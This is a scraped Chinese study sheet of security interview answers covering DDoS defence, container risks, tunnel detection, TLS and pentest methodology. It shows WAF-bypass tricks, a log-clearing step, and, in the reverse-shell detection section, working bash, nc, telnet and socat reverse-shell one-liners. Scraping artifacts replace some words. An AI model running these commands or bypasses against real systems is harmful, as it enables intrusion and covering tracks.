2025年个人学习资料

个人学习资料DDoS CC 如何有效防御与应急 1 如何判断是否被 CC 攻击 1 消耗 CPU 资源 黑客使用大量肉鸡来刷新网站动态页面 CPU 占用 100 时 CPU 资源将被耗尽 2 耗内存资源 黑客不断刷新动态页面 搜索数据库的内容 只要搜索量变大后内存占满 网站直接打不开或者是非常卡 3 耗 I o 资源

大家好,我是讯享网,很高兴认识大家。

DDoS/CC如何有效防御与应急?

1、如何判断是否被CC攻击
1、消耗CPU资源:黑客使用大量肉鸡来刷新网站动态页面,CPU占用100%时CPU资源将被耗尽
2、耗内存资源:黑客不断刷新动态页面,搜索数据库的内容,只要搜索量变大后内存占满。网站直接打不开或者是非常卡。
3、耗I/o资源:黑客找到上传文件,或者是下载文件的页面,不停的上传与下载,磁盘资源点满
4、耗带宽资源:根据宽带速度看流量占用多少,如果流量占满了,服务器直接丢包掉线或者网站一点都打不开。
2、CC攻击的防御
1、服务器垂直扩展和水平扩容
2、使用缓存,对于服务中具备高度共性,多用户可重用,或单用户多次可重用的数据,一旦从数据库中检索出,或通过计算得出后,最好将其放在缓存中,后续请求均可直接从缓存中取得数据,减轻数据库的检索压力和应用服务器的计算压力,并且能够快速返回结果并释放进程,从而也能缓解服务器的内存压力。
3、页面静态化:生成静态化的 html 页面文件,利用客户端浏览器的缓存功能或者服务端的缓存服务,以及 CDN 节点的缓冲服务,均可以降低服务器端的数据检索和计算压力,快速相应结果并释放连接进程。
4、session 等方式都可以为客户端分配唯一的识别 ID(后称作 SID),服务端可以将 SID 存到缓存中。当客户端请求服务时,如果没有带 SID(cookie 中或请求参数中等),则由服务端快速分配一个并返回。当客户端请求时带了合法 SID(即 SID 能在服务端缓存中匹配到),便可以依据 SID 对客户端进行频率限制。而对于 SID 非法的请求,则直接拒绝服务。
5、IP 限制依然可以结合上述规则一起使用,但是可以将其前置到外层的防火墙或负载均衡器上去做,并且可以调大限制的阈值

如何对网络区域进行划分?

https://blog.51cto.com/u_/

经典网络与VPC的优劣势

1、经典网络:公有云上所有用户共享公共网络资源池,用户之间未做逻辑隔离。用户的内网 IP 由系统统一分配,相同的内网 IP 无法分配给不同用户。
2、VPC:是在公有云上为用户建立一块逻辑隔离的虚拟网络空间。在 VPC 内,用户可以自由定义网段划分、IP地址和路由策略,安全可提供网络ACL及安全组的访问控制,因此, VPC 有更高的灵活性和安全性。
对比可以看到,VPC优势明显,通过VPC,用户可以自由定义网段划分、IP地址和路由策略;安全方面,VPC可提供网络ACL及安全组的访问控制,VPC灵活性和安全性更高。可适用于对安全隔离性要求较高的业务、托管多层 web 应用、弹性混合云部署等使用场景中,符合金融、政企等行业的强监管、数据安全要求。

云原生下的网络和主机差异是什么?会有哪些新的风险?

1、镜像安全:快速迭代的云原生应用加大了引入漏洞/bug,病毒和不安全API,secrets等的机会,所以如何用内生在CI流程当中的镜像安全扫描和加固方案以及安全左移的理念来持续发现和减少风险至关重要
2、运行时安全:逃逸漏洞是云环境下一种常见的漏洞,黑客可以利用一些漏洞或管理人员的配置问题,从容器环境中跳出而获得宿主机权限。因此,一旦单个容器环境存在逃逸漏洞,可能就会导致整个集群沦陷
3、容器隔离:docker的隔离实际上只做到了进程间与文件的隔离,依赖于linux内核的namespace与cgroup技术,相比于基于OS的传统虚拟化方式,容器的资源和权限隔离不够彻底,这也就为针对系统的提权、文件系统的攻击等方式创造了条件。
4、数据安全:accesskey是实现连接云平台的重要身份凭证,而accesskey的管理也是个重要的问题,我们在渗透过程中经常会在一些debug信息以及某些备份信息中发现泄漏的acccesskey,阿里云accesskey的利用工具,攻击者可以直接通过accesskey实现数据读取、命令执行等操作。
5、东西向流量:以CVE-2019-3462APT远程代码执行漏洞为例,攻击者一旦进入网络环境中,便可以利用中间人攻击或者一个恶意的下载镜像来触发该漏洞,导致远程代码执行,进而进行横向攻击,全团队不能再像传统 IT 架构一样直接将安全产品、方案部署在网络边界、业务边界阻断各种威胁/风险事件
6、资产梳理与威胁感知:微服务架构的出现,对于资产管理来说更是一场巨大的灾难,随时可能发生的容器以及云原生架构下的各个层次资源(服务,pod,容器等)的添加、删除、调度,让管理者很难对资产进行及时的盘点更新,也存在极大的可能遗忘一些已经不被使用的容器。随着时间的推移,这些容器可能出现一些新的安全威胁,这就给黑客带来了可趁之机,在用户毫无感知的情况下,整个集群就已沦为黑客的肉鸡,而等到用户真的发现问题,损失已铸成,想要弥补也为时已晚
解决:
1、镜像扫描:查看漏洞严重程度、CVSS分数、目前是否有提供维修更新镜像等信息。通过内建的过滤机制,用户可以根据事件严重性,决定镜像文件更新操作的排期,从而确保使用者上传、部署于Kubernetes环境的镜像都是来自可信来源、未经手动干预后的镜像。
2、微隔离:了解内部网络信息流动的情况,能够按角色、业务功能等多维度标签对需要隔离的工作负载进行快速分组,同时由策略控制中心通过自学习模式,自适应学习出针对每个应用服务之间最适合的隔离策略,做到更加精准的东西向流量访问权限控制,减少横向移动攻击的可能性。
3、安全合规检查:侦测策略从身份鉴别、访问控制、安全审计、入侵防御、恶意代码防护、资源控制六大方面进行,及时发现云环境下存在的安全配置问题。
4、特权账号管理:去除容器内密码、秘钥、证书等登录凭证。探真动态鉴权还能够替代云服务商的KMS,实现企业跨云、跨中心统一特权管理,完美适配云原生环境下各种复杂账号管控场景。

容器存在哪些特有安全风险?

1、镜像安全风险
1)Dockerfile安全问题:
如果Dockerfile存在漏洞或**入恶意脚本,那么生成的容器也可能产生漏洞或被恶意利用。例如,攻击者可构造特殊的Dockerfile压缩文件,在编译时触发漏洞获取执行任意代码的权限。
如果在Dockerfile中没有指定USER,Docker将默认以root用户的身份运行该Dockerfile创建的容器,如果该容器遭到攻击,那么宿主机的root访问权限也可能会被获取。
如果在Dockerfile文件中存储了固定密码等敏感信息并对外进行发布,则可能导致数据泄露的风险。
如果在Dockerfile的编写中添加了不必要的应用,如SSH、Telnet等,则会产生攻击面扩大的风险。
2)镜像漏洞
由于镜像通常由基础操作系统与各类应用软件构成,因此,含有CVE漏洞的应用软件同样也会向Docker镜像中引入CVE漏洞。
恶意用户可能将含有后门、病毒等恶意漏洞的镜像上传至官方镜像库。
仓库自身安全:如果镜像仓库特别是私有镜像仓库被恶意攻击者所控制,那么其中所有镜像的安全性将无法得到保证。
镜像拉取安全:如何保证容器镜像从镜像仓库到用户端的完整性也是镜像仓库面临的一个重要安全问题。
2、容器虚拟化安全风险
对于Docker容器而言,由于容器与宿主机共享操作系统内核,因此存在容器与宿主机之间、容器与容器之间隔离方面的安全风险,具体包括进程隔离、文件系统隔离、进程间通信隔离等。
容器逃逸攻击指的是容器利用系统漏洞,“逃逸”出了其自身所拥有的权限,实现了对宿主机和宿主机上其他容器的访问。由于容器与宿主机共享操作系统内核,为了避免容器获取宿主机的root权限,通常不允许采用特权模式运行Docker容器。
由于容器与宿主机共享CPU、内存、磁盘空间等硬件资源,且Docker本身对容器使用的资源并没有默认限制,如果单个容器耗尽宿主机的计算资源或存储资源(例如进程数量、存储空间等)可能导致宿主机或其他容器的拒绝服务。
3、网络安全风险
① 网桥模式② MacVLAN③ Overlay网络 同一虚拟网络下各容器间同样没有进行访问权限控制

WAF机制及绕过

1、WAF的定义:WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性。
2、WAF的工作原理:WAF的处理流程大致可分为四部分:预处理、规则检测、处理模块、日志记录
WAF的部署方式:透明网桥,反向代理,镜像流量,路由代理
绕WAF的方式

  1. 各种编码绕过:绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交的编码后的参数内容在进入数据库查询语句之前会有相关的解码代码。
    a) URL编码:对参数值进行URL编码后可绕过过滤检测
    b) 二次URL编码:使用二次URL编码后可绕过过滤检测
    c) 其他编码:Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似
  2. 字母大小写转换绕过:部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,未对sleeP/slEEp进行过滤,可对关键字进行大小写转换进行绕过。
  3. 空格过滤绕过:a) 使用空白符替换空格绕过 b) 使用‘+’替换空格绕过 c) 使用注释符//替换空格绕过
  4. 双关键字绕过:部分WAF会对关键字只进行一次过滤处理,可使用双关键字绕过
  5. 内联注释绕过:在MySQL里,//是多行注释,这个是SQL的标准,但是MySQL扩张了解释的功能,如果在开头的的/后头加了惊叹号(/!50001sleep(3)*/),那么此注释里的语句将被执行
  6. 请求方式差异规则松懈性绕过:有些WAF同时接收GET方法和POST的方法,但只在GET方法中增加了过滤规则,可通过发送POST方法进行绕过。
  7. 异常Method绕过:有些WAF只检测GET,POST方法,可通过使用异常方法进行绕过。
  8. 超大数据包绕过:部分WAF只检测固定大小的内容,可通过添加无用字符进行绕过检测,添加无用字符,使内容大小超过WAF检测能检测到的最大内容
  9. 复参数绕过:在提交的URL中给一个参数多次赋了不同的值(?id=1&id=2),部分WAF在处理的过程中可能只处理前面提交的参数值(id=1),而后端程序在处理的时候可能取的是最后面的值。
  10. 添加%绕过过滤:将WAF中过滤的敏感字符通过添加%绕过过滤。例如:WAF过滤了select ,可通过se%lect绕过过滤,在进入后端执行中对参数串进行url解码时,会直接过滤掉%字符,从而注入语句被执行
  11. 协议未覆盖绕过:部分WAF可能只对一种content-type类型增加了检测规则,可以尝试互相替换尝试去绕过WAF过滤机制,例如使用multipart/form-data进行绕过。协议未覆盖绕过。
  12. 宽字节绕过:宽字节注入是因为使用了GBK编码。为了防止sql注入,提交的单引号(%27)会进行转义处理,即在单引号前加上斜杠(%5C%27)。
  13. %00截断:部分WAF在解析参数的时候当遇到%00时,就会认为参数读取已结束,这样就会只对部分内容进行了过滤检测。
  14. Cookie/X-Forwarded-For注入绕过:部分WAF可能只对GET,POST提交的参数进行过滤,未对Cookie或者X-Forwarded-For进行检测,可通过cookie或者X-Forwarded-For提交注入参数语句进行绕过。
    https://www.freebuf.com/articles/web/229982.html

DNS tunnel检测

1、正常DNS会话比较简短,随着一次DNS解析任务结束而结束,DNS隧道木马的会话随着木马的生命周期结束而结束,但在整个木马的生命周期里会向CC服务器发送心跳包,传输信息,资源文件等行为。CC服务器也会发送控制指令。所以在DNS隧道木马的会话中DNS报文数量大。
2、在正常的DNS流量中。A记录类型的流量占20%-30%,CNAME记录为38%-48%,AAAA记录占25%,NS记录只有5%,TXT记录只有1%-2%。然而为了获取更高的带宽,一部分的DNS隐蔽信道工具如Iodine。在默认配置下会使用TXT或NULL等不常用的记录类型。
3、合法的域名使用的数字少,不合法的数字多,合法的域名在一定层度上反映了通用语言文本,使用字符频率来检测
4、检查请求源和目标字节长度的比率,DNS隧道请求的字符从63到255个,也有人以52个以上做鉴别
5、合法的DNS名通常来说符合字典而且看起来有意义,不合法的域名熵值高(子域名长度、子域名熵、子域名数量做校验)
目前我们做的是针对域名的查询类型,子域名长度、子域名熵、子域名数量做校验

ICMP tunnel检测

1、检测同一来源 ICMP 数据包的数量。一个正常的 ping 每秒最多只会发送两个数据包。而使用 ICMP 隧道的浏览器在同一时间会产生上千个 ICMP 数据包。
2、寻找那些响应数据包中 payload 跟请求数据包不一致的 ICMP 数据包。
3、如果在内网中,可以检查 ICMP 数据包的协议TTL值,icmptunnel 默认会设置所有的 ICMP 的IP层TTL值为255。内网拓扑容易确定具体的跳数,简单计算可以印证。(Linux默认是64 Win默认是128)

防范常见的 Web 攻击

SQL注入攻击,XSS攻击,CSRF攻击,文件上传漏洞,DDos 攻击
1、SQL注入:攻击者在HTTP请求中注入恶意的SQL代码,服务器使用参数构建数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行。
防范
Web端:
1)有效性检验。
2)限制字符串输入的长度。
服务端:
1)不用拼接SQL字符串。
2)使用预编译的PrepareStatement。
3)有效性检验。(为什么服务端还要做有效性检验?第一准则,外部都是不可信的,防止攻击者绕过Web端请求),
4)过滤SQL需要的参数中的特殊字符。比如单引号、双引号。
2、XSS攻击:跨站点脚本攻击,指攻击者通过篡改网页,嵌入恶意脚本程序,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式
防范
防 XSS 的核心是必须对输入的数据做过滤处理。
1)前端,服务端,同时需要字符串输入的长度限制。
2)前端,服务端,同时需要对HTML转义处理。将其中的”<”,”>”等特殊字符进行转义编码。
CSRF攻击:跨站点请求伪造,指攻击者通过跨站请求,以合法的用户的身份进行非法操作。可以这么理解CSRF攻击:攻击者盗用你的身份,以你的名义向第三方网站发送恶意请求。CRSF能做的事情包括利用你的身份发邮件,发短信,进行交易转账,甚至盗取账号信息。如何防范CSRF攻击
防范
安全框架:例如Spring Security;
token机制:在HTTP请求中进行token验证,如果请求中没有token或者token内容不正确,则认为CSRF攻击而拒绝该请求。
验证码:验证码能够很好的遏制CSRF攻击;
referer识别:在HTTP Header中有一个字段Referer,它记录了HTTP请求的来源地址。如果Referer是其他网站,就有可能是CSRF攻击,则拒绝该请求。
文件上传漏洞:指的是用户上传一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。
防范:
1)判断文件类型。在判断文件类型的时候,可以结合使用MIME Type,后缀检查等方式。
2)对上传的文件类型进行白名单校验,只允许上传可靠类型。
3)上传的文件需要进行重新命名,使攻击者无法猜想上传文件的访问路径,将极大地增加攻击成本,同时向shell.php.rar.ara这种文件,因为重命名而无法成功实施攻击。
4)限制上传文件的大小。
5)单独设置文件服务器的域名。

OSPF协议?OSPF的工作原理

OSPF(Open Shortest Pass First,开放最短路径优先协议),是一个最常用的内部网管协议,是一个链路状态协议。(网络层协议,)
原理
OSPF组播的方式在所有开启OSPF的接口发送Hello包,用来确定是否有OSPF邻居,若发现了,则建立OSPF邻居关系,形成邻居表,之后互相发送LSA(链路状态通告)相互通告路由,形成LSDB(链路状态数据库)。再通过SPF算法,计算**路径(cost最小)后放入路由表。

TCP与UDP区别总结?

1.TCP面向连接(如打电话要先拨号建立连接)提供可靠的服务;UDP是无连接的,即发送数据之前不需要建立连接,;UDP尽最大努力交付,即不保证可靠交付。(由于UDP无需建立连接,因此UDP不会引入建立连接的时延,TCP需要在端系统中维护连接状态,比如接受和发送缓存,拥塞控制,序号与确认号的参数等,故TCP会比UDP慢)
2.UDP具有较好的实时性,工作效率比TCP高,适用于对高速传输和实时性有较高的通信或广播通信。
3.每一条TCP连接只能是一对一的;UDP支持一对一,一对多,多对一和多对多的交互通信
4.UDP分组首部开销小,TCP首部开销20字节;UDP的首部开销小,只有8个字节。
5.TCP面向字节流,实际上是TCP把数据看成一连串无结构的字节流;UDP是面向报文的(一次交付一个完整的报文,报文不可分割,报文是UDP数据报处理的最小单位)。
6.UDP适合一次性传输较小数据的网络应用,如DNS,SNMP等

一次完整的HTTP请求过程

域名解析 --> 发起TCP的3次握手 --> 建立TCP连接后发起http请求 --> 服务器响应http请求,浏览器得到html代码 --> 浏览器解析html代码,并请求html代码中的资源(如js、css、图片等) --> 浏览器对页面进行渲染呈现给用户。

TCP如何保证可靠传输?

  1. 三次握手。
  2. 将数据截断为合理的长度。应用数据被分割成 TCP 认为最适合发送的数据块(按字节编号,合理分片)
  3. 超时重发。当 TCP 发出一个段后,它启动一个定时器,如果不能及时收到一个确认就重发
  4. 确认应答:对于收到的请求,给出确认响应
  5. 校验和:校验出包有错,丢弃报文段,不给出响应
  6. 序列号:对失序数据进行重新排序,然后才交给应用层
  7. 丢弃重复数据:对于重复数据 , 能够丢弃重复数据
  8. 流量控制。TCP 连接的每一方都有固定大小的缓冲空间。TCP 的接收端只允许另一端发送接收端缓冲区所能接纳的数据。这将防止较快主机致使较慢主机的缓冲区溢出。
  9. 拥塞控制。当网络拥塞时,减少数据的发送。

https工作原理

在这里插入图片描述
讯享网

  1. 客户端请求 HTTPS 网址,然后连接到 server 的 443 端口 (HTTPS 默认端口,类似于 HTTP 的80端口)。
  2. 服务器响应客户端请求,将证书传递给客户端,证书包含公钥和大量其他信息,比如证书颁发机构信息,公司信息和证书有效期等。
  3. .客户端解析证书并对其进行验证。如果证书不是可信机构颁布,或者证书中的域名与实际域名不一致,或者证书已经过期,就会向访问者显示一个警告。
  4. 客户端把加密后的随机码 KEY 发送给服务器,作为后面对称加密的密钥。
  5. 服务器在收到随机码 KEY 之后会使用私钥B将其解密。经过以上这些步骤,客户端和服务器终于建立了安全连接,完美解决了对称加密的密钥泄露问题
  6. 服务器使用密钥 (随机码 KEY)对数据进行对称加密并发送给客户端,客户端使用相同的密钥 (随机码 KEY)解密数据
  7. 双方使用对称加密愉快地传输所有数据。

网络安全事件应急响应

断网:条件允许时优先断网,防止黑客进一步操作或删除痕迹
取证:通过分析登录日志、网站日志、服务日志寻找黑客ip,查看黑客进行的操作
备份:备份服务器文件,对比入侵前后产生变化的文件
查漏:通过上述步骤寻找业务薄弱点,修补漏洞
杀毒:清除黑客留下的后门、webshell、管理账号
溯源:通过黑客ip地址,入侵手段等
记录:归档、预防

什么是DDOS攻击?和DOS攻击有什么区别?

Dos是拒绝服务攻击,而DDOS是分布式拒绝服务攻击;
Dos与DDOS都是攻击目标服务器、网络服务的一种方式。
Dos是利用自己的计算机攻击目标,也是一对一的关系,而DDOS是DoS攻击基础之上产生的一种新的攻击方式,利用控制成百上千台肉鸡,组成一个DDOS攻击群,同一时刻对目标发起攻击。
DDOS原理
利用合理的请求造成资源过载,导致服务不可用
syn洪流的原理
伪造大量的源IP地址,分别向服务器端发送大量的SYN包,此时服务器端会返回SYN/ACK包,因为源地址是伪造的,所以伪造的IP并不会应答,服务器端没有收到伪造IP的回应,会重试3~5次并且等待一个SYNTime(一般为30秒至2分钟),如果超时则丢弃这个连接。攻击者大量发送这种伪造源地址的SYN请求,服务器端将会消耗非常多的资源(CPU和内存)来处理这种半连接,同时还要不断地对这些IP进行SYN+ACK重试。最后的结果是服务器无暇理睬正常的连接请求,导致拒绝服务。
CC攻击原理
对一些消耗资源较大的应用页面不断发起正常的请求,以达到消耗服务端资源的目的。
DDOS防护
SYN Cookie/SYN Proxy、safereset等算法。SYN Cookie的主要思想是为每一个IP地址分配一个“Cookie”,并统计每个IP地址的访问频率。如果在短时间内收到大量的来自同一个IP地址的数据包,则认为受到攻击,之后来自这个IP地址的包将被丢弃。

Linux的安全基线有哪些?

1、账号管理和授权
2、服务
3、文件系统
4、日志
5、IP协议安全要求
远程登录取消telnet采用ssh
设置/etc/hosts.allow和deny
禁止ICMP重定向
禁止源路由转发
防ssh激活成功教程,iptables(对已经建立的所有链接都放行,限制每分钟连接ssh的次数)+deny host(添加ip拒绝访问)

网络设备的端口隔离是什么意思?有什么用?

通过端口隔离特性,用户可以将需要进行控制的端口加入到一个隔离组中,实现隔离组中的端口之间二层、三层数据的隔离,既增强了网络的安全性,也为用户提供了灵活的组网方案.

给你一个网站你是如何来渗透测试的?

1)信息收集
1,获取域名的whois信息,获取注册者邮箱姓名电话等。
2,查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的cms或者其他漏洞。
3,查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如IIS,APACHE,NGINX的解析漏洞
4,查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等
5,扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏,比如php探针
6,google hack 进一步探测网站的信息,后台,敏感文件.
2)漏洞扫描
开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含,
远程命令执行,弱口令,上传,编辑器漏洞,暴力激活成功教程等
3)漏洞利用
利用以上的方式拿到webshell,或者其他权限
4)权限提升
提权服务器,比如windows下mysql的udf提权,serv-u提权,windows低版本的漏洞,如iis6,pr,巴西烤肉,
linux藏牛漏洞,linux内核版本漏洞提权,linux下的mysql system提权以及oracle低权限提权
5)日志清理
6)总结报告及修复方案

SQL注入的原理是什么?注入的类型有哪些?怎么防御?

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。
注入类型
基于报错注入
基于布尔的注入,根据返回页面判断条件真假的注入
基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
宽字节注入
联合查询,可以使用 union 的情况下的注入。
堆查询注入,可以同时执行多条语句的执行时的注入。
怎么防御
1、关闭应用的错误提示。
2、加waf。
3、使用安全的API。
4、对输入的特殊字符进行Escape转义处理。
5、使用白名单来规范化输入验证方法.
6、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符。
7、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
8、规范编码,字符集
9、具体的语言如何进行防注入,采用安全框架。

CSRF、SSRF和重放攻击有什么区别?

CSRF(跨站请求伪造)是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的Cookie信息伪造用户请求发送至服务器。
SSRF(服务端请求伪造)是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器。
重放攻击是将截获的数据包进行重放,达到身份认证等目的,是指攻击者发送一个目的主机已接收过的包,来达到欺骗系统的目的,主要用于身份认证过程,破坏认证的正确性。

什么中间人攻击?

当数据传输发生在一个设备(PC/手机)和网络服务器之间时,攻击者使用其技能和工具将自己置于两个端点之间并截获数据;尽管交谈的两方认为他们是在与对方交谈,但是实际上他们是在与干坏事的人交流,这便是中间人攻击。
一般说来,有嗅探、数据包注入、会话劫持和SSL剥离
嗅探:嗅探或数据包嗅探是一种用于捕获流进和流出系统/网络的数据包的技术。网络中的数据包嗅探就好像电话中的监听。记住,如果使用正确,数据包嗅探是合法的;许多公司出于“安全目的”都会使用它。
数据包注入:在这种技术中,攻击者会将恶意数据包注入常规数据中。这样用户便不会注意到文件/恶意软件,因为它们是合法通讯流的一部分。在中间人攻击和拒绝式攻击中,这些文件是很常见的。
会话劫持:你曾经遇到过“会话超时”错误吗?如果你进行过网上支付或填写过一个表格,你应该知道它们。在你登录进你的银行账户和退出登录这一段期间便称为一个会话。这些会话通常都是黑客的攻击目标,因为它们包含潜在的重要信息。在大多数案例中,黑客会潜伏在会话中,并最终控制它。这些攻击的执行方式有多种。
SSL剥离:SSL剥离或SSL降级攻击是MiTM攻击的一种十分罕见的方式,但是也是最危险的一种。众所周知,SSL/TLS证书通过加密保护着我们的通讯安全。在SSL剥离攻击中,攻击者使SSL/TLS连接剥落,随之协议便从安全的HTTPS变成了不安全的HTTP。
防御中间人攻击的方案通常基于一下几种技术
1.公钥基础建设PKI 使用PKI相互认证机制,客户端验证服务器,服务器验证客户端;上述两个例子中都是只验证服务器,这样就造成了SSL握手环节的漏洞,而如果使用相互认证的的话,基本可以更强力的相互认证
2.延迟测试
使用复杂加密哈希函数进行计算以造成数十秒的延迟;如果双方通常情况下都要花费20秒来计算,并且整个通讯花费了60秒计算才到达对方,这就能表明存在第三方中间人。
3.使用其他形式的密钥交换形式。

常见的VPN技术有哪些,SSL和IPSEC有什么不同?

二层的VPN:PPP,PPTP,L2TP
三层的VPN:IPsec,GRE
四层的VPN:SSL/TLS
PPP:点到点协议 PPTP:点到点隧道协议
L2TP:第二层隧道协议 IPsec :IP安全性
GRE:通用路由封装协议 SSL/TLS:安全套接层
不同点:
1.Ipsec在网络层建立隧道,适用于固定的VPN,SSL在应用层的web连接建立的,适用于移动用户远程访问的VPN
2.IPsec工作为网络层,灵活性小,SSL工作在传输层,灵活性大。

网络设备中什么叫做ACL,常见的ACL有哪些?分别有什么用?

ACL (访问控制列表)即是通过配置对报文的匹配规则和处理操作来实现包过滤的功能。
基本 ACL: 只根据数据包的源IP 地址制定规则。
高级 ACL: 根据数据包的源IP 地址、目的IP 地址、IP 承载的协议类型、端口号,协议特性等三、四层信息制定规则。
二层 ACL :根据数据包的源MAC 地址、目的MAC 地址、802.1p 优先级、二层协议类型等二层信息制定规则。
用户自定义 ACL :以数据包的头部为基准,指定从第几个字节开始与掩码进行“与”操作,将从报文提取出来的字符串和用户定义的字符串进行比较,找到匹配的报文。

ISO27000和等保(重点等保)

ISO27000是国际知名的信息安全管理体系标准,适用于整个企业,不仅仅是IT部门,还包括业务部门、财务、人事等部门。引入信息安全管理体系就可以协调各个方面信息管理,从而使管理更为有效。保证信息安全不是仅有一个防火墙,或找一个24小时提供信息安全服务的公司就可以达到的。它需要全面的综合管理。
PDCA(plan do check action)管理循环
等级保护制度
信息安全等级保护管理办法》是为规范信息安全等级保护管理,提高信息安全保障能力和水平,维护国家安全、社会稳定和公共利益,保障和促进信息化建设,根据《中华人民共和国计算机信息系统安全保护条例》等有关法律法规而制定的办法。

SSL / TLS 工作原理和详细握手过程

在这里插入图片描述

  1. "client hello"消息:客户端通过发送"client hello"消息向服务器发起握手请求,该消息包含了客户端所支持的 TLS 版本和密码组合以供服务器进行选择,还有一个"client random"随机字符串。
  2. "server hello"消息:服务器发送"server hello"消息对客户端进行回应,该消息包含了数字证书,服务器选择的密码组合和"server random"随机字符串。
  3. 验证:客户端对服务器发来的证书进行验证,确保对方的合法身份,验证过程可以细化为以下几个步骤:
    1、检查数字签名
    2、验证证书链 (这个概念下面会进行说明)
    3、检查证书的有效期
    4、检查证书的撤回状态 (撤回代表证书已失效)
  4. "premaster secret"字符串:客户端向服务器发送另一个随机字符串"premaster secret (预主密钥)",这个字符串是经过服务器的公钥加密过的,只有对应的私钥才能解密。
  5. 使用私钥:服务器使用私钥解密"premaster secret"。
  6. 生成共享密钥:客户端和服务器均使用 client random,server random 和 premaster secret,并通过相同的算法生成相同的共享密钥 KEY。
  7. 客户端就绪:客户端发送经过共享密钥 KEY加密过的"finished"信号。
  8. 服务器就绪:服务器发送经过共享密钥 KEY加密过的"finished"信号。
  9. 达成安全通信:握手完成,双方使用对称加密进行安全通信。

反弹shell如何检测,检测原理

反弹Shell的概念
所谓的反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
反弹Shell攻击组合方式
1、“重定向符”+"/dev/tcp网络通信"Bash反弹Shell

attacker机器上执行: nc -lvp 2333 victim 机器上执行: bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 

讯享网
讯享网nc -e /bin/sh 192.168.146.129 2333nc -e /bin/sh 192.168.146.129 2333 

telnet反弹shell:

`mknod a p; telnet 10.211.55.2 7777 0<a | /bin/bash 1>a telnet x.x.x.x 6666 | /bin/bash | telnet x.x.x.x 5555` 

socat反弹shell

讯享网# 监听命令 socat file:`tty`,raw,echo=0 tcp-listen:9999 # 反弹命令 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.211.55.2:9999 

反弹Shell检测思路
1、进程 file descriptor 异常检测
检测 file descriptor 是否指向一个socket:以“重定向符”+"/dev/tcp网络通信"Bash反弹Shell这一类最经典的反弹Shell攻击方式为例,这类反弹shell的本质可以归纳为file descriptor的重定向到一个socket句柄。
检测 file descriptor 是否指向一个管道符(pipe):对于利用“管道符”传递指令的反弹shell攻击方式来说,这类反弹shell的本质可以归纳为file descriptor的重定向到一个pipe句柄。

常见的GetShell方式

1、获取WebShell的方式
GetShell方式众多,常见如文件上传、SQL注入、命令执行、文件包含、解析漏洞等等。有时候一个漏洞即可GetShell,有时候则需要各种漏洞打一套组合拳方可。

  1. 文件上传漏洞GetShell
    通过利用任意文件上传漏洞可以最快获取WebShell,一般常见有三种情况:(1)直接上传木马文件到目标服务器;
    (2)绕过防护限制上传木马文件;
    (3)CMS等的通用任意文件上传漏洞。
  2. 命令(代码)执行漏洞GetShell
    利用命令(代码)执行漏洞写入WebShell文件从而GetShell。在此列举了以下四种常见情况作为说明。
    (1) 利用CMS、框架通用漏洞,如thinkPHP命令执行漏洞,影响范围较广,如鲶鱼CMS、ThinkCMF、yunCMS等。Struts2远程命令(代码)执行漏洞,如S2-059、S2-057……
    (2) 中间件、架构通用漏洞,如:Jboss远程命令执行、weblogic未授权命令执行CVE-2020-14882……
    (3) 应用程序命令执行漏洞,如Redis 4.x/5.x命令执行漏洞、Zabbix远程命令执行CVE-2020-11800……
    (4) 命令注入漏洞写入WebShell,根据Linux和Windows的不同采用不同的注入方式。
  3. 解析漏洞GetShell
    利用解析漏洞将图片马等文件解析为恶意脚本文件从而GetShell,本文主要介绍在IIS、Nginx、Apache的解析漏洞。一般,该漏洞会配合文件上传漏洞等来获取WebShell。
  4. SQL注入漏洞GetShell
    在MySQL注入中,可以利用SQL注入获取WebShell,要写入WebShell文件到服务器中,需要满足以下条件:
    网站物理路径;
    文件写入的权限;
    secure_file_priv条件没有设置为NULL;
    要求mysql数据库的配置中,没有将secure_file_priv条件没有设置为NULL,即secure_file_priv=NULL时,无法导入导出文件;而当设置为空时,即secure_file_priv=时,则导入导出文件不受限制;如果设置为某个文件路径,如secure_file_priv=/mysql/时,则导入导出必须要在跟文件目录下完成。
  5. 文件包含漏洞GetShell
    利用文件包含漏洞GetShell,由于面比较大,主要介绍PHP文件包含,其分为本地文件包含和远程文件包含。本地文件包含中,需要PHP的配置文件项allow_url_include和allow_url_fopen均设置为On。一般配合文件上传等漏洞GetShell,最常见的如先传图片马,再包含之。远程文件包含中,需要PHP的配置文件项allow_url_fopen设置为On,利用方式是在远程服务器上存在shell.txt,内容为webshell,然后远程包含这个文件即可。

监听外网请求dnslog,可能是什么漏洞导致的?

1、SQL注入中的盲注
2、XSS盲打
3、无回显的命令执行
4、无回显的SSRF
5、无回显的XXE(Blind XXE)

webshell检测思路?

